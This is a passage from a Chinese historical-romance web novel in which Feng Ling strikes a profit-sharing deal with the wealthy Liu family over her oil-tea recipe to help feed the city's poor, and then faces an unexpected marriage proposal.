一旁的凤斐然朝凤凌解释道:“去年我同父亲上门拜访那些富绅和富商时,他们都挺乐意捐赠一些粮食,因为这毕竟是做善事,能为他们积累福报。但今年夏日干旱,冬日又提早到来,他们的产业多多少少会受到些打击,赚到的银钱比往年还要少上一二成,所以再也不愿相信做善事能积累福报这一说法。” 凤凌暗自点头,她大抵能理解这些人的做法。毕竟都是商人,商人重利,在毫无利益可图的情况下想要从他们身上得到些什么,应是难上加难。 凤凌沉思片刻道:“父亲,我房里摆着的孔雀纹样珐琅瓷茶具往日里也不常用,与其这么摆着,还不如换些粮食给贫民们填饱肚子。” 凤渊果断拒绝,音调不自觉变高:“不行,这珐琅瓷是你母亲的陪嫁,是她留给你的。” 凤凌露出恍然之色,又问道:“所以父亲是想让我出主意?好让那些富户们心甘情愿拿出些粮食?” 凤渊点头:“凌儿,你既得仙缘,我想应该能想出些常人所想不到的主意。” 凤凌嘴角轻微抽动,她这是自己给自己挖了个大坑。 “父亲,这个,我可能难以做到。恕女儿无能。”她如实回答。 她自认不是一个巧舌如簧的人,又如何与一众商人周旋? 凤渊闻言,脸上也并未浮现出失落,只是缓缓道:“没事,凌儿,我也就是多问你一句。你此前已经帮了我大忙,这次的忙你帮不上也不必放在心上。” 凤渊从座椅上站起,理着长袍下摆的褶皱,朝凤斐然道:“斐然,同我去拜访柳府。” 凤凌听到这府名觉得有些耳熟,不禁问道:“父亲,是东宝街的柳府吗?” 凤渊道:“没错,柳府掌家的柳老爷是北越城最大的富绅,城内的商铺有接近七成都是他家的。前几日我去拜访的只是普通的富商,尚未拜访柳府。” 凤凌逐渐想起来她是在哪听过这个柳府了,可不就是两月前,她路过柳府门前时还被嘲是烂浆糊来着。 她原本还计划着搞定父亲后就回屋继续听七郎绵绵软软地念话本,可现在她改变主意了。 说起来,她也有段时间没有外出了。 “父亲,此次前去柳府,我可否能同去?或许我也能帮上什么忙呢?”凤凌赶紧起身跟在凤渊身后。 凤渊朝她看了一眼,少顷后点下了头。 腊月已至,落雪缤纷。 两架马车行走在宽敞的街道,铁蹄踏在冰雪中,发出颇有节奏的“嗒嗒”声。 凤凌安坐在后方的马车内,纤细的指尖拨开阻挡风雪的厚帘,她透过此缝隙将街道的雪景收入眼底。过往的行人与街景不断后退,最终,她眼内的画面定格在一座高大宅院前。 此处便是柳府,小梅先行下车为她在雪地上搭好一副木质阶梯,而后在旁稳稳地将她扶下马车。 当脚下传来些许寒意时,她的父亲与弟弟已在柳府宅邸的檐下,似是在同柳府的管家在说些什么。不一会,管家恭敬地引他们入府。 别看柳府的门面与她家相差不多,这内里却是别有乾坤。方入府门,迎面便是镂空雕花石屏风,周遭墙壁均以纯白石砖雕砌。亭台楼阁,一步一景。 穿过庭院,来到一间明亮宽敞的暖阁中。踏上厚实松软的地毯,室内并未熏香,却可嗅及温润木香。 原是满屋的金丝楠木桌椅,极尽奢华。 管家低声细语道:“请城主大人稍后,我家老爷片刻就到。” 语毕,两个眉目清秀的丫鬟为他们端上三盏茶,白玉花鸟纹茶盏里,茶汤碧绿清澈,轻抿一口,唇齿尽是清香。 这北越城最大的富绅果真名副其实。 “不知城主到访,有失远迎。”一阵浑厚的声音自暖阁入口传来。 抬眸,只见走来的是一位鹤发老者,苍老的面庞上镶着一双闪着精光的眼睛,腮边的胡须整齐地随他步履缓缓飘动。 端坐在座椅上品茶的凤渊也起身,拱手道:“柳老。” 柳老爷坐在凤渊右侧的座椅上,稍微整理着以金线锁边的衣袖,道:“城主此次前来想必是为了那群贫民的事。” 凤渊道:“柳老,您料事如神。今年收成不佳,天气恶劣,城中吃不饱饭的贫民比往年更多。我此次前来就是为了请柳老帮忙,帮贫民渡过此次寒冬。” 凤渊取茶盏浅饮一口,接着道:“柳老手底下的产业众多,其中与衣食相关的不在少数,若能得柳老助力,来年我必定禀明圣上,让圣上予以您嘉奖。这对于您的生意而言必有助益。” 柳老爷叹气道:“我自是知晓,但我柳家手底下等吃饭的人也很多。因此,能捐赠给一众贫民的米粮终归有限。最多只能拿出五百斤米,再多的就不是我柳家力所能及的了。至于禀明圣上,此等小事就无需告知圣上,全当是我帮助城主的罢。” 凤渊的手指慢慢在金丝楠木椅上敲打,他自知难以在这老狐狸身上薅下绒毛,于是只能道:“那我先替城中一众贫民谢过柳老了。” “城主不必客气。”柳老爷有意无意地抚摸着腮边的胡须,“城主,我还有一言,长贫难顾,帮得了他们这个冬日,也总不能每年冬日里都相助。” 凤渊深深得看了柳老爷一眼:“我又何尝不知,若他们生在南边,勤苦劳作定能温饱,但北地收成太少,暖和时还能去林里摘些野果捕几只小兽,勉强果腹。可一旦到了冬日就……” “城主心善,去年冬季你就曾为他们奔走,但我柳家能力有限,所能做的仅限于此了。”柳老爷扶着座椅上的扶手缓缓起身,“城主,米粮已然备好,待会我便让下人送至你府上。我府里还有些要事未处理,就先行离开,招 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凤凌解释道:“油茶是一种特制的茶,既可以当饮品饮用,也能当饭餐享用。味道醇厚,有驱寒之效,比普通的茶水更具风味。” 柳老爷狐疑道:“小姑娘,口说无凭,我没见过油茶,你的话我难以相信。” 凤凌垂眸一笑,似是早就料到柳老爷会如此回答。她道:“柳老爷,若是您愿意,两个时辰后我会让人给您送上油茶,待您品尝后再行决定。” 柳老爷没有回答,而是另外将话题一转:“小姑娘,你愿意帮我出主意改善生意,可有什么条件?” 凤凌道:“柳老爷睿智,我所求不多,只望您能分我三成利。当然,只算卖油茶所获得的利润,您茶肆里的其他获利,自然不能算进去。” “三成利,三成利确实不多。”柳老爷若有所思,接过身旁丫鬟给他递来的一盏茶。 暖阁内忽然间安静下来,玉质的茶盏与桌面相碰撞时发出细微的“叮铃”声音。 随后,暖阁的门被从外面打开。 “祖父,您不是答应要教我处理家中事务,以便于以后嫁到皇城中做夫人时不手忙脚乱。可我都在书房里等您等了足足一个时辰,您是不是把我给忘了?”一道带着撒娇意味的声音自走进门的黄衣女子嗓间传出。 此女正是凤凌以前遇见过的柳家第三代嫡女柳舒阑。 柳舒阑进入室内后才发觉祖父正在会客,会的客还是城主。见状,她礼数周全地向凤渊行礼,并在柳老爷颇具严肃的目光下眨巴着眼睛。 正当她要退离暖阁时,目光好巧不巧落在凤凌身上,导致她一双明眸瞪得溜圆:“你……你,你这个傻子怎么在这!” 凤凌掩唇一笑:“柳老爷,您的孙女竟也与先前的我一般,身患顽疾。据说,结巴症可不好治。” 柳老爷:“……” 柳舒阑脚下有些不稳,晃着步子走到柳老爷身边道:“祖父!她怎么……” 柳老爷拍了拍孙女的手臂,低声提醒她注意仪态。之后他道:“凤家小姑娘,我这孙女被娇宠惯了,说出来的话你别放在心上。你方才说的油茶,我很感兴趣,就按你说的去做。” 凤凌回以礼貌性的微笑:“多谢柳老,我这就回府为您准备油茶。” 言毕,柳老爷起身相送凤渊,来到暖阁外时,转由管家带路出府。 凤凌走在一行人的最后面,她隐约间听到暖阁内传出柳老爷的责备声。 8. 冬去春来 凤府厨房内,滋滋作响,一粒粒饱满的花生米在小铁锅里翻滚,其香味让人忍不住咽口水。 站在灶前炒制花生米的正是凤凌。 其实,两月前她所做的只是“删减版”的油茶。制作时为节约成本,减去了一些材料。当时仅仅是为了让吃不上饱饭的贫民果腹暖身,对于味道方面,这些贫民也不会太过于在意。因此,她只保留下油茶最为核心的几种材料。 而现在,她的油茶所面向的是北越城里的食客,对于味道方面,定然是有所要求的。 故而,她现在要做给柳老爷品尝的才能算是真正意义上的油茶,也是她在来到古代前所继承的手艺。 花生米炒至浓香扑鼻后将其分成两份,一份留用,一份磨碎。 接下来便是烹煮油茶,锅子烧热后沿锅壁倒入油,洗净的老姜、独头蒜和带须的葱花根放进锅内翻炒,炒出香味后将泡发好的茶叶放入,并加入颗粒完整的花生米,持续翻炒,碾压、捶打。最后在锅内加适量水,使之完全没过锅内的事物,严严实实盖好锅盖,熬煮一刻钟。 在熬煮油茶期间,凤凌把香菜和葱花切碎,与炒米、磨碎的花生米一同放入小碗中。一刻钟过后,陶瓷汤壶中盛满金黄色的油茶,茶汤浓郁,辛香扑鼻。 凤凌把小碗和陶瓷汤壶放入食盒里,吩咐府中的一名小厮将食盒送往柳府。 此番操作结束,锅内还剩下些油茶,她用汤勺盛出,足足还余下五碗。遂遣人给父亲、姨娘和弟弟各端去一碗,余下两碗便留给她自己和七郎。 待她将装着两碗油茶的食盒提回院内,发觉七郎正踮脚踩在木梯子上清理房檐堆积的厚雪。 现下正值午时,他迎着阳光,背影泛出浅浅的橘色光辉,宝蓝色发绳把满头乌发扎成马尾束于脑后。许是站得高的缘故,七郎的个子看起来要比初见时高大了一些。 “七郎,先别弄了,下来一起吃些东西。”凤凌抬头唤道。 七郎手中扫雪的木铲子在霎那间停顿,他侧过身来,声音载满喜悦:“好的,姐姐。我这就下来。” 他一边手扶木梯,另一边手持铲子,脚下的步子很稳,每一步都踩在木梯子的正中央。 怎知踩到离地面还有两尺高的位置时,他竟踩空,啪嗒一下顺着木梯滑落,跌坐在雪地上。 凤凌蹙眉,把手里的食盒就地放下,急道:“七郎,你怎这般不小心。” 七郎闻言脸上露出委屈之色,坐在雪地上仰头望向凤凌。 凤凌无奈地给他搭了把手,毫不费力便将他扶起。 “谢谢姐姐。”七郎扬起微笑。 凤凌又道:“可有哪里伤着?” “没有。”七郎笑意更浓,展开双臂,一副任由凤凌随意检查的样子。 “没有就好,下次可别再一个人爬这么高了。”凤凌见他无事,也安心下来。 她弯腰拿起雪地上的食盒,两人一同进入屋内。 在七郎饱含期待的目光下,她自食盒里拿出两碗油茶。 七郎在看清碗里的金黄色液体后问道:“姐姐,这是什么好吃的?” 凤凌道:“你试试不就知道了。” 七郎听话地勺起一汤匙碗内的金色液体,递入口中。他眼神一亮:“姐姐,这是油茶!怎么是金黄色的,好像比以前更香更好喝。” “姐姐,这是你刚做的吗。”七郎又继续滔滔不绝地夸赞,“姐姐,你好厉害。” 凤凌在他甜糯的夸赞中逐渐变得飘飘然,看向七郎的目光越发柔和。 以前她从不觉得小孩子有什么好的,整天叽叽喳喳吵吵嚷嚷,可如今她倒是认为,身边有这么个可爱的小孩跟着也不错,让她平淡的古代生活一日一日变得鲜活起来。 …… 与此同时,柳府的一间精巧小室内。 由通透翠玉制成的几案上摆放着一个琉璃碗。琉璃碗内装盛满金黄色的油茶,油茶上漂浮着炒米、葱花等点缀物,陌生但浓郁的香味让坐在几案前的柳老爷来了兴趣。 他低头浅浅尝了一口。 旋即,柳老爷双眼泛光,直接把碗举起一口接一口饮下。在咀嚼到油茶里的香脆花生米时,他不自觉闭上眼睛,感受嘴里咸香交织的感觉。 睁开眼时,柳老爷才发现身前的琉璃碗已见底,于是朝候在一旁的小厮问道:“这油茶还有吗?” 小厮连忙道:“回禀老爷,还有许多。” 柳老爷话语略带责备:“还有许多怎么才装上来一碗,还不快些再拿几碗来。” 柳老爷盯着空空如也的琉璃碗,嘴里还带有油茶的回甘,身上也热乎了起来。这油茶果真是极好的,就连他这个品鉴过上等茗茶的人也不得不承认。如此这般的好东西,定然是不愁卖的。 他当下决定,待会儿就让府里的管事去凤府,与那凤家小姑娘商议合作一事。 柳府的管事在得到命令后直接骑快马来到凤府,经一番商谈,凤凌与柳府正式达成合作关系。 因这油茶的配方不能外泄,凤凌让柳府的管事于每日巳时来凤府门前取油茶,将油茶运送至茶肆后再行加热即可。而对于原材料和制作人力上的花费,是计算在三成利润之外的,这一点柳老爷自然认同。 第二日,油茶正式在柳家名下的茶肆中贩卖。 一开始,食客们还有些不敢尝试,但在茶肆掌柜大力推荐下,有几人半信半疑。待到他们低头饮下第一口,眼中的惊喜显而易见,纷纷赞不绝口。 一碗下肚,还继续招手唤来跑堂小厮,再加上一碗。甚至在结账时,手中拎着一食盒,打算拿回家中让家人也品尝一番。 渐渐地,茶肆人满为患,足足一大桶油茶在两个时辰内卖的精光。午后闻声而来的食客们无一不在茶肆里嘟囔,捶胸顿足,暗自决定明日定要早早来到,以便于抢到油茶,不至于如现在一般空手而返。 柳府内,高亢的笑声自紫云丝绸屏风后传出。 只见柳老爷苍老的面庞上透出罕见的红光,他正在低头翻看茶肆的账本,上面所记载的收益,仅今日这一日就足足比往时五六日的收益还多。 说是一日,实际上只有一个上午,若是油茶仍有余量,所不定一日的收益就能顶上十来日。 柳老爷双眼冒出精光,他沉寂已久的心再次剧烈跳动起来。他感觉此刻仿佛回到了少年时候,他第一次经商获利的时候。 柳舒阑亭亭立在一旁,倾着头上的单螺髻,髻上的暗金镂空簪子尾部嵌有一颗南珠,光辉闪闪,她不解道:“祖父,这点收益还抵不上您的一片衣角,为何您如此开心?” 柳老爷哈哈一笑:“舒阑,你还是见识不够。这油茶今日只是在我柳家最为普通的茶肆中随意贩卖,就能取得这般效果,属实是让人惊喜。若是铺开范围,同时在柳家所有茶肆中贩卖,那该是何等盛况。” 柳老爷又道:“你是没尝过那油茶,确有独到之处。” 柳舒阑轻咬唇瓣,双手抱于胸前:“祖父,我才不要喝她做的东西。” 柳老爷摇了摇头:“你啊你,怎么还是瞧不起凤家那小姑娘,她现在早已不同往日,你理应向她学习才是。” 柳舒阑不忿,不明白祖父怎么总是夸一个傻子,即便她现在不傻了,但不过也就是会做那什么油茶罢了,有什么了不起的。 至于这油茶,黄黝黝的,味道闻着怪怪的,也不知是用什么做的,她就是打死也不会喝一口! 一个月后,正月初一。 凤府府邸门前,人头攥动。贫民在七嘴八舌议论着什么。 “昨日城主府里发油茶的管事说今日会有些变动,也不知是什么。” “不会是粮食不足,城主不发油茶了吧?” “眼看还有两月就能挨到春日,我不想就这样饿死……” “不会的!城主说过一定会管我们的,我相信城主。” “没错,我也相信城主。” 在纷纷议论声中,凤府大门开启,凤渊由府内走出。 他广袖一挥,下面的贫民立马静下声来。贫民们提着一口气,仰头凝望站在府门阶梯之上的凤渊。 “诸位,今日我要告知你们一件事。”凤渊语气铿锵有力,“这几月里所施发的油茶是我二女儿凤凌所制。诸位应也有所耳闻,目前柳府茶肆里也贩卖油茶,正是小女与柳府的合作。现如今,正月已至,她愿意用贩茶所得为诸位加餐。” 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凤凌原本还在午间小憩,丫鬟小梅匆匆忙忙入内让她前往宅邸正门。 她水蓝色云绸裙随悠然的春风飘动,雪色绸带缠于腰间。行至府邸正门时,下方一众贫民几乎是同时发出雷鸣般的呼声。 他们纷纷向凤凌诉说内心的感激。 “凤二小姐,我们会日日为您祈福,日日为您家人祈福。” “不对不对,凤府大小姐已出嫁,府内现只有一位小姐,我们应称她作凤小姐才是。” “对对对,我怎么没想到。” “凤小姐,您和城主都是我们的救命恩人!” “凤小姐,谢谢您!” 一个小童自人群里磕磕绊绊朝她走来,手里捧着一簇粉白色的花,看起来似是寻常野花,花瓣不大,却极其有生命力。 小童用稚嫩的嗓音道:“谢谢你,凤姐姐。这是我和娘亲一起摘给你的花。” 凤凌蹲下身接过,笑道:“谢谢,我很喜欢。” 她站起身,对阶梯下的众人道:“春日已至,大家只要辛苦劳作,来年必能过上好日子。” 贫民们眼里闪烁出希望的光芒。 其实,这种话,他们听了许多遍,原本是不信的。但这话现在从救了他们的凤小姐口中说出,他们愿意相信,纷纷应和。 凤凌回到院落的时候,七郎正拿着扫帚在院中四处清扫,眼见凤凌手上拿着一簇花,不禁开口问道:“姐姐?这是?” “这是府外的一个小少年送给我的,这野花真漂亮。”凤凌唇角带笑,手中不停摆弄着小野花,完全没注意到七郎的表情出现了一瞬间的扭曲。 她接着对七郎说道:“七郎,帮我去问问姨娘可否有闲置的花瓶,我要把这些花好好养起来。” “是。”七郎闷闷地应声,放下手中的扫帚后转身离开了。 凤凌停下捣鼓野花的手指,眼里闪过细微的诧异。平日里她甚少吩咐七郎做事,每次让他做事时他都兴冲冲的。怎么这次反倒有些不开心。 正当她陷入沉思之际,小兰突然在她身前跪下,眼中蓄满泪水,言语哽咽:“二小姐,不……小姐!小姐!谢谢您,您对我有大恩,往后小兰的命就是您的!” 凤凌在稍怔后就要伸手将小兰从地上扶起,怎知这小丫鬟极倔,依旧红着眼跪在她身前。 经询问后方才得知,小兰父母双亡,自幼与祖母相依为命,直到她八岁时才入凤府伺候。凤渊怜她身世,准允她每十日回一次家看望祖母。祖母身子向来羸弱,她原以为祖母会撑不过寒冬。郁郁寡欢之际,怎料凤凌的油茶竟让祖母身体好转,使得祖母平安过冬。 “行,我答应了。你的命在我这里存着,不许再这般哭哭啼啼。”凤凌道。 小兰擦拭掉脸颊上的几行泪痕,泛起笑意,终于不再跪着,从地上站了起来。 就在这时,小梅急迫的声音由远至近传来。 “小姐!小姐,柳府的老爷亲自来了!现正在老爷那,说是要向您提亲。” “什么?谁?提亲?”凤凌大惊失色,“柳府?” 9. 上门提亲 良久,凤凌才找回自己的声音,语气平平问道:“是谁啊。” 小梅回答:“是柳老爷的嫡长孙,柳青璃。” 小梅偷偷观察着凤凌的神色,又道:“小姐您还记得吗,有次我们经过柳府门前还和他打过一次照面。” 凤凌忽觉嗓子眼有些堵,发出一阵咳嗽。是谁不行,怎么偏偏是他? 她重重坐在院落的石凳上,短短几次呼吸她就变换了数次坐姿,最后双肘往后撑在坚硬的石桌边,未发一言。 “姐姐,我把花瓶拿来了。”七郎怀里抱着一个素底飞鸟纹瓷瓶,缓缓踏入院中。 凤凌扬了扬下巴,示意七郎可以直接把花瓶放在她挨着的石桌上。 七郎朝她小幅度点头,抓吧着野花,将其掷入瓶中,低垂的眼眸里带有疑惑。 他自进入院中看见凤凌时就隐隐感觉到她有哪里不对劲,空气格外凝重,是发生了什么事吗? “姐姐,你怎么了。”七郎轻声问道。 “没什么,小事而已。只是没想到会来得那么快。”凤凌摆摆手,袖间的清风不经意地拂在七郎脸上。 她朝小梅说道:“小梅,你去帮我看看,等柳老爷走后我再去见父亲。” 小梅回应道:“是,小姐。” 纷繁的思绪在七郎脑子里盘旋,望向凤凌的眼神变得忽明忽暗。 他入凤府数月,每次有问题,凤凌都会耐心为他解惑,只有这次…… 不到半盏茶的功夫,小梅回到院内,她道:“小姐,我在半途中遇到老爷身边的小厮,他说要请您去一趟议事厅。” 凤凌起身,稍稍活动着肩膀,而后对七郎道:“七郎,你先回去休息,不用待我这打扫了。” 语毕,她大跨步前往议事厅。 议事厅内,凤渊和倪紫嫣正惬意地坐着,神情放松得像刚解决了一个悬于心头已久的难题一般。 眼见凤凌到来,倪紫嫣激动地朝她走来,一把将她拉到椅子上,道:“凌儿,太好了。柳老爷刚才来替他孙子向你提亲。他嫡孙柳青璃正处弱冠之年,还在皇城任职!” “你的婚事我和老爷操心许久了,之前那些你又瞧不上。”倪紫嫣握着凤凌的手,时不时轻轻拍打,“可这柳青璃不同,他的家世你是知晓的,中进士后留任于皇城。大家原本都以为他未来的夫人会是皇城的官家小姐,没想到,他竟属意于你。” 凤凌越听越觉得不对劲,那个柳青璃不是见过她,还嘲讽过她吗,又怎会属意于她?会不会是其中有什么地方搞错了。还是这一切并非柳青璃的意思,而是柳老爷包办婚姻呢? “姨娘,柳青璃属意于我?这不会吧。这其实是柳老爷的意思吧? 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凤凌深吸一口气,正色道:“父亲,您还记得半年前曾答应过女儿的一件事吗?” 她由椅子上起身,在凤渊面前鞠躬行礼:“父亲,女儿自己的婚事自己做主。这便是我要您答应我的一件事。”